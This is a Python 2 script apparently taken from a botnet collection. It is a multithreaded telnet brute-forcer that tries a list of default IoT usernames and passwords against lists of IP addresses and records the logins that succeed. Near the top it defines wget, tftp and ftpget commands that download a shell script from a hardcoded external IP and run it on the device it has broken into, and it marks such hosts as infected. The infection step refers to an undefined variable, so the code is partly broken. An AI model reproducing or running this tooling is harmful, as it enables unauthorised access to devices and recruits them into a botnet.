Path: blob/master/Botnets/Scanning/TELNET/PY BRUTER/op.py
5038 views
#!/usr/bin/python1import threading2import sys, os, re, time, socket, select3from Queue import *4from sys import stdout56if len(sys.argv) < 4:7print "Usage: python "+sys.argv[0]+" <list> <threads> <output file>"8sys.exit()910wget = "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://185.10.68.196/update.sh -O update.sh; busybox wget http://185.10.68.196/update.sh -O update.sh; chmod 777 update.sh; sh update.sh; rm -rf update.sh" #wget command to send11tftp = "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; tftp -r update.sh -g 185.10.68.196; busybox tftp -r update.sh -g 185.10.68.196; chmod 777 update.sh; sh update.sh; rm -rf update.sh" #tftp command to send12ftpget = "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; ftpget -v -u anonymous -p anonymous -P 21 185.10.68.196 update.sh update.sh; busybox ftpget -v -u anonymous -p anonymous -P 21 185.10.68.196 update.sh update.sh; chmod 777 update.sh; sh update.sh; rm -rf update.sh"1314combo = [15"root:root",16"root:",17"admin:admin",18"support:support",19"user:user",20"admin:",21"admin:password",22"root:vizxv",23"root:admin",24"root:xc3511",25"root:888888",26"root:xmhdipc",27"root:default",28"root:juantech",29"root:123456",30"root:54321",31"root:12345",32"root:pass",33"ubnt:ubnt",34"root:klv1234",35"root:Zte521",36"root:hi3518",37"root:jvbzd",38"root:anko",39"root:zlxx.",40"root:7ujMko0vizxv",41"root:7ujMko0admin",42"root:system",43"root:ikwb",44"root:dreambox",45"root:user",46"root:realtek",47"root:00000000",48"admin:1111111",49"admin:1234",50"admin:12345",51"admin:54321",52"admin:123456",53"admin:7ujMko0admin",54"admin:1234",55"admin:pass",56"admin:meinsm",57"admin:admin1234",58"root:1111",59"admin:smcadmin",60"admin:1111",61"root:666666",62"root:password",63"root:1234",64"root:klv123",65"Administrator:admin",66"service:service",67"supervisor:supervisor",68"guest:guest",69"guest:12345",70"guest:12345",71"admin1:password",72"administrator:1234",73"666666:666666",74"888888:888888",75"tech:tech",76"mother:fucker"77]7879ips = open(sys.argv[1], "r").readlines()80threads = int(sys.argv[2])81output_file = sys.argv[3]82queue = Queue()83queue_count = 08485for ip in ips:86queue_count += 187stdout.write("\r[%d] Added to queue" % queue_count)88stdout.flush()89queue.put(ip)90print "\n"9192def readUntil(tn, string, timeout=8):93buf = ''94start_time = time.time()95while time.time() - start_time < timeout:96buf += tn.recv(1024)97time.sleep(0.1)98if string in buf: return buf99raise Exception('TIMEOUT!')100101def recvTimeout(sock, size, timeout=8):102sock.setblocking(0)103ready = select.select([sock], [], [], timeout)104if ready[0]:105data = sock.recv(size)106return data107return ""108109class router(threading.Thread):110def __init__ (self, ip):111threading.Thread.__init__(self)112self.ip = str(ip).rstrip('\n')113def run(self):114global fh115username = ""116password = ""117for passwd in combo:118if ":n/a" in passwd:119password=""120else:121password=passwd.split(":")[1]122if "n/a:" in passwd:123username=""124else:125username=passwd.split(":")[0]126try:127tn = socket.socket()128tn.settimeout(1)129tn.connect((self.ip,23))130except Exception:131tn.close()132break133try:134hoho = ''135hoho += readUntil(tn, ":")136if ":" in hoho:137tn.send(username + "\n")138time.sleep(0.09)139except Exception:140tn.close()141try:142hoho = ''143hoho += readUntil(tn, ":")144if ":" in hoho:145tn.send(password + "\n")146time.sleep(0.8)147else:148pass149except Exception:150tn.close()151try:152prompt = ''153prompt += tn.recv(40960)154if ">" in prompt and "ONT" not in prompt:155success = True156elif "#" in prompt or "$" in prompt or "root@" in prompt or ">" in prompt:157success = True158else:159tn.close()160if success == True:161try:162print "\033[32m[\033[31m+\033[32m] \033[33mGOTCHA \033[31m-> \033[32m%s\033[37m:\033[33m%s\033[37m:\033[32m%s\033[37m"%(username, password, self.ip)163fh.write(self.ip + ":23 " + username + ":" + password + "\n")164fh.flush()165tn.send("sh\r\n")166time.sleep(0.1)167tn.send("shell\r\n")168time.sleep(0.1)169tn.send("ls /\r\n")170time.sleep(1)171timeout = 8172buf = ''173start_time = time.time()174while time.time() - start_time < timeout:175buf += recvTimeout(tn, 40960)176time.sleep(0.1)177if "tmp" in buf and "unrecognized" not in buf:178tn.send(rekdevice + "\r\n")179print "\033[32m[\033[31m+\033[32m] \033[33mINFECTED \033[31m-> \033[32m%s\033[37m:\033[33m%s\033[37m:\033[32m%s\033[37m"%(username, password, self.ip)180f = open("infected.txt", "a")181f.write(self.ip + ":23 " + username + ":" + password + "\n")182f.close()183time.sleep(10)184tn.close()185break186tn.close()187break188except:189tn.close()190else:191tn.close()192except Exception:193tn.close()194195def worker():196try:197while True:198try:199IP = queue.get()200thread = router(IP)201thread.start()202queue.task_done()203time.sleep(0.02)204except:205pass206except:207pass208209global fh210fh = open(output_file, "a")211global active212active = 0213214for l in xrange(threads):215try:216t = threading.Thread(target=worker)217t.start()218except:219pass220221print "Started " + str(threads) + " brute threads! Press enter to stop."222raw_input()223os.kill(os.getpid(), 9)224225